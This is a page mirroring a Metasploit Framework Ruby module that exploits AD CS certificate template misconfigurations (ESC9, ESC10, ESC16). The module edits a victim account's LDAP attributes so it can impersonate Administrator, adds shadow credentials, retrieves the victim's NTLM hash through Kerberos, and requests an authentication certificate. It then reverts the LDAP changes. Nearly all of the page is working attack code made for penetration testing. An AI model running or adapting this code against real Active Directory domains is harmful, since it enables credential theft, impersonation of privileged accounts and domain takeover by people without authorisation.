Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.rb
32605 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'ruby_smb/dcerpc/client'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::Remote::LDAP
10
include Msf::Exploit::Remote::LDAP::ActiveDirectory
11
include Msf::Exploit::Remote::MsIcpr
12
include Msf::Exploit::Remote::SMB::Client::Authenticated
13
include Msf::Exploit::Remote::DCERPC
14
include Msf::Auxiliary::Report
15
include Msf::OptionalSession::SMB
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Exploits AD CS Template misconfigurations which involve updating an LDAP object: ESC9, ESC10, and ESC16',
22
'Description' => %q{
23
This module exploits Active Directory Certificate Services (AD CS) template misconfigurations, specifically
24
ESC9, ESC10, and ESC16, by updating an LDAP object and requesting a certificate on behalf of a target user.
25
The module leverages the auxiliary/admin/ldap/ldap_object_attribute module to update the LDAP object and the
26
admin/ldap/shadow_credentials module to add shadow credentials for the target user if the target password is
27
not provided. It then uses the admin/kerberos/get_ticket module to retrieve the NTLM hash of the target user
28
and requests a certificate via MS-ICPR. The resulting certificate can be used for various operations, such as
29
authentication.
30
31
The module ensures that any changes made by the ldap_object_attribute or shadow_credentials module are
32
reverted after execution to maintain system integrity.
33
},
34
'License' => MSF_LICENSE,
35
'Author' => [
36
'Will Schroeder', # original idea/research
37
'Lee Christensen', # original idea/research
38
'Oliver Lyak', # certipy implementation
39
'Spencer McIntyre', # icpr_cert module implementation
40
'jheysel-r7' # module implementation
41
],
42
'References' => [
43
[ 'URL', 'https://github.com/GhostPack/Certify' ],
44
[ 'URL', 'https://github.com/ly4k/Certipy' ],
45
[ 'URL', 'https://medium.com/@offsecdeer/adcs-exploitation-series-part-2-certificate-mapping-esc15-6e19a6037760' ],
46
[ 'URL', 'https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc16-a-compatibility-mode' ],
47
[ 'ATT&CK', Mitre::Attack::Technique::T1098_ACCOUNT_MANIPULATION ],
48
[ 'ATT&CK', Mitre::Attack::Technique::T1649_STEAL_OR_FORGE_AUTHENTICATION_CERTIFICATES ]
49
],
50
'Notes' => {
51
'Reliability' => [],
52
'Stability' => [],
53
'SideEffects' => [ IOC_IN_LOGS ],
54
'AKA' => [ 'ESC9', 'ESC10', 'ESC16']
55
},
56
'Actions' => [
57
[ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]
58
],
59
'DefaultAction' => 'REQUEST_CERT'
60
)
61
)
62
63
deregister_options('PFX', 'ON_BEHALF_OF', 'Session', 'SMBuser', 'SMBPass', 'SMBDomain')
64
65
register_options([
66
OptString.new('LDAPDomain', [true, 'The domain to authenticate to']),
67
OptString.new('LDAPUsername', [true, 'The username to authenticate with, who must have permissions to update the TARGET_USERNAME']),
68
OptString.new('LDAPPassword', [true, 'The password to authenticate with']),
69
OptEnum.new('UPDATE_LDAP_OBJECT', [ true, 'Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert.', 'userPrincipalName', %w[userPrincipalName dNSHostName] ]),
70
OptString.new('UPDATE_LDAP_OBJECT_VALUE', [ true, 'The account name you wish to impersonate', 'Administrator']),
71
OptString.new('TARGET_USERNAME', [true, 'The username of the target LDAP object (the victim account).'], aliases: ['SMBUser']),
72
OptString.new('TARGET_PASSWORD', [false, 'The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticate as the TARGET_USERNAME'], aliases: ['SMBPass']),
73
OptString.new('CertificateAuthorityRhost', [false, 'The IP Address of the CA. The module will attempt to resolve this via DNS if this is not set'])
74
])
75
76
register_advanced_options(
77
[
78
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
79
OptInt.new('LDAPRport', [false, 'The target LDAP port.', 389]),
80
]
81
)
82
end
83
84
# For more info on FQDN validation: https://stackoverflow.com/questions/11809631/fully-qualified-domain-name-validation
85
def valid_fqdn?(str)
86
str =~ /\A(?=.{1,253}\z)(?:(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.)+[a-zA-Z]{2,}\z/
87
end
88
89
def validate_options
90
if datastore['UPDATE_LDAP_OBJECT'] == 'dNSHostName' && !valid_fqdn?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
91
fail_with(Failure::BadConfig, "When UPDATE_LDAP_OBJECT is set to 'dNSHostName', UPDATE_LDAP_OBJECT_VALUE must be set to a valid FQDN.")
92
end
93
end
94
95
def run
96
@dc_ip = datastore['RHOSTS']
97
validate_options
98
send("action_#{action.name.downcase}")
99
rescue MsIcprConnectionError, SmbIpcConnectionError => e
100
fail_with(Failure::Unreachable, e.message)
101
rescue MsIcprAuthenticationError, MsIcprAuthorizationError, SmbIpcAuthenticationError => e
102
fail_with(Failure::NoAccess, e.message)
103
rescue MsIcprNotFoundError => e
104
fail_with(Failure::NotFound, e.message)
105
rescue MsIcprUnexpectedReplyError => e
106
fail_with(Failure::UnexpectedReply, e.message)
107
rescue MsIcprUnknownError => e
108
fail_with(Failure::Unknown, e.message)
109
end
110
111
def call_ldap_object_module(action, value = nil)
112
mod_refname = 'auxiliary/admin/ldap/ldap_object_attribute'
113
114
print_status("Loading #{mod_refname}")
115
ldap_update_module = framework.modules.create(mod_refname)
116
117
unless ldap_update_module
118
print_error("Failed to load module: #{mod_refname}")
119
return
120
end
121
122
# Default to using the SMB credentials if LDAP credentials are not provided
123
ldap_update_module = framework.modules.create(mod_refname)
124
ldap_update_module.datastore['RHOST'] = datastore['RHOST']
125
ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
126
ldap_update_module.datastore['BASE_DN'] = datastore['BASE_DN']
127
ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']
128
ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']
129
ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']
130
ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']
131
ldap_update_module.datastore['OBJECT'] = datastore['TARGET_USERNAME']
132
ldap_update_module.datastore['ATTRIBUTE'] = datastore['UPDATE_LDAP_OBJECT']
133
ldap_update_module.datastore['OBJECT_LOOKUP'] = 'sAMAccountName'
134
ldap_update_module.datastore['VALUE'] = value
135
ldap_update_module.datastore['ACTION'] = action
136
137
print_status("Running #{mod_refname}")
138
ldap_update_module.run_simple(
139
'LocalInput' => user_input,
140
'LocalOutput' => user_output,
141
'RunAsJob' => false
142
)
143
end
144
145
def call_shadow_credentials_module(action, device_id = nil)
146
mod_refname = 'admin/ldap/shadow_credentials'
147
148
print_status("Loading #{mod_refname}")
149
ldap_update_module = framework.modules.create(mod_refname)
150
151
unless ldap_update_module
152
print_error("Failed to load module: #{mod_refname}")
153
return
154
end
155
156
# Default to using the SMB credentials if LDAP credentials are not provided
157
ldap_update_module = framework.modules.create(mod_refname)
158
ldap_update_module.datastore['RHOST'] = datastore['RHOST']
159
ldap_update_module.datastore['RPORT'] = datastore['LDAPRport']
160
ldap_update_module.datastore['VERBOSE'] = datastore['VERBOSE']
161
ldap_update_module.datastore['LDAPDomain'] = datastore['LDAPDomain']
162
ldap_update_module.datastore['LDAPUsername'] = datastore['LDAPUsername']
163
ldap_update_module.datastore['LDAPPassword'] = datastore['LDAPPassword']
164
ldap_update_module.datastore['TARGET_USER'] = datastore['TARGET_USERNAME']
165
ldap_update_module.datastore['DEVICE_ID'] = device_id[:device_id] if action == 'remove' && device_id.present?
166
ldap_update_module.datastore['ACTION'] = action
167
168
print_status("Running #{mod_refname}")
169
ldap_update_module.run_simple(
170
'LocalInput' => user_input,
171
'LocalOutput' => user_output,
172
'RunAsJob' => false
173
)
174
end
175
176
def automate_get_hash(cert_path, username, domain, rhosts)
177
mod_refname = 'admin/kerberos/get_ticket'
178
179
print_status("Loading #{mod_refname}")
180
get_ticket_module = framework.modules.create(mod_refname)
181
182
unless get_ticket_module
183
print_error("Failed to load module: #{mod_refname}")
184
return
185
end
186
187
print_status("Getting hash for #{username}")
188
get_ticket_module.datastore['CERT_FILE'] = cert_path
189
get_ticket_module.datastore['USERNAME'] = username
190
get_ticket_module.datastore['DOMAIN'] = domain
191
get_ticket_module.datastore['RHOSTS'] = rhosts
192
get_ticket_module.datastore['RPORT'] = 88
193
get_ticket_module.datastore['ACTION'] = 'GET_HASH'
194
195
res = get_ticket_module.run_simple(
196
'LocalInput' => user_input,
197
'LocalOutput' => user_output,
198
'RunAsJob' => false
199
)
200
fail_with(Failure::Unknown, 'Failed to get hash for target user') unless res
201
res
202
end
203
204
def action_request_cert
205
new_value = datastore['UPDATE_LDAP_OBJECT_VALUE']
206
# Get the original while updating (the update action returns the original value upon success)
207
@original_value = call_ldap_object_module('UPDATE', new_value)
208
fail_with(Failure::BadConfig, "The #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} is already set to #{datastore['UPDATE_LDAP_OBJECT_VALUE']}. After the module completes running it will revert the attribute to it's original value which will cause the certificate produced to throw a KDC_ERR_CLIENT_NAME_MISMATCH when attempting to use it. Try setting the #{datastore['UPDATE_LDAP_OBJECT']} of #{datastore['TARGET_USERNAME']} to anything but #{datastore['UPDATE_LDAP_OBJECT_VALUE']} using the ldap_object_attribute module and then rerun this module.") if @original_value.present? && @original_value.casecmp?(datastore['UPDATE_LDAP_OBJECT_VALUE'])
209
210
smbpass = ''
211
212
if datastore['TARGET_PASSWORD'].present?
213
smbpass = datastore['TARGET_PASSWORD']
214
elsif datastore['LDAPUsername'] == datastore['TARGET_USERNAME']
215
smbpass = datastore['LDAPPassword']
216
else
217
# Call the shadow credentials module to add the device and get the cert path
218
print_status("Adding shadow credentials for #{datastore['TARGET_USERNAME']}")
219
@device_id, cert_path = call_shadow_credentials_module('add')
220
smbpass = automate_get_hash(cert_path, datastore['TARGET_USERNAME'], datastore['LDAPDomain'], datastore['RHOSTS'])
221
end
222
ca_ip = datastore['CertificateAuthorityRhost'].present? ? datastore['CertificateAuthorityRhost'] : resolve_ca_ip
223
with_ipc_tree do |opts|
224
datastore['SMBUser'] = datastore['TARGET_USERNAME']
225
datastore['SMBPass'] = smbpass
226
datastore['RHOSTS'] = ca_ip
227
request_certificate(opts)
228
end
229
ensure
230
datastore['RHOSTS'] = @dc_ip
231
unless @device_id.nil?
232
print_status('Removing shadow credential')
233
call_shadow_credentials_module('remove', device_id: @device_id)
234
end
235
print_status('Reverting ldap object')
236
revert_ldap_object
237
end
238
239
def resolve_ca_ip
240
vprint_status('Finding CA server in LDAP')
241
ca_servers = []
242
ldap_connect(port: datastore['LDAPRport']) do |ldap|
243
validate_bind_success!(ldap)
244
if (@base_dn = datastore['BASE_DN'])
245
print_status("User-specified base DN: #{@base_dn}")
246
else
247
print_status('Discovering base DN automatically')
248
249
unless (@base_dn = ldap.base_dn)
250
fail_with(Failure::NotFound, "Couldn't discover base DN!")
251
end
252
end
253
ca_servers = adds_get_ca_servers(ldap)
254
vprint_status("Found #{ca_servers.length} CA servers in LDAP")
255
end
256
257
if ca_servers.empty?
258
fail_with(Msf::Module::Failure::UnexpectedReply, 'No Certificate Authority servers found in LDAP.')
259
return
260
else
261
ca_servers.each do |ca|
262
vprint_good("Found CA: #{ca[:name]} (#{ca[:dNSHostName]})")
263
end
264
end
265
266
ca_entry = ca_servers.find { |ca| ca[:name].casecmp?(datastore['CA']) }
267
268
unless ca_entry
269
fail_with(Msf::Module::Failure::UnexpectedReply, "CA #{datastore['CA']} not found in LDAP. Checking registry values is unable to continue")
270
end
271
272
ca_dns_hostname = ca_entry[:dNSHostName]
273
ca_ip_address = Rex::Socket.getaddress(ca_dns_hostname, false)
274
unless ca_ip_address
275
print_error("Unable to resolve the DNS Host Name of the CA server: #{ca_dns_hostname}. Checking registry values is unable to continue")
276
return
277
end
278
ca_ip_address
279
end
280
281
def revert_ldap_object
282
# If the UPN was changed the certificate we requested won't work until we revert the UPN change. If the
283
# dnsHostName was changed the cert will still work however we'll revert the change to keep the system clean.
284
if @original_value.to_s.empty?
285
call_ldap_object_module('DELETE')
286
else
287
call_ldap_object_module('UPDATE', @original_value)
288
end
289
end
290
291
# @yieldparam options [Hash] If a SMB session is present, a hash with the IPC tree present. Empty hash otherwise.
292
# @return [void]
293
def with_ipc_tree
294
opts = {}
295
if session
296
print_status("Using existing session #{session.sid}")
297
self.simple = session.simple_client
298
opts[:tree] = simple.client.tree_connect("\\\\#{client.dispatcher.tcp_socket.peerhost}\\IPC$")
299
end
300
301
yield opts
302
ensure
303
opts[:tree].disconnect! if opts[:tree]
304
end
305
end
306
307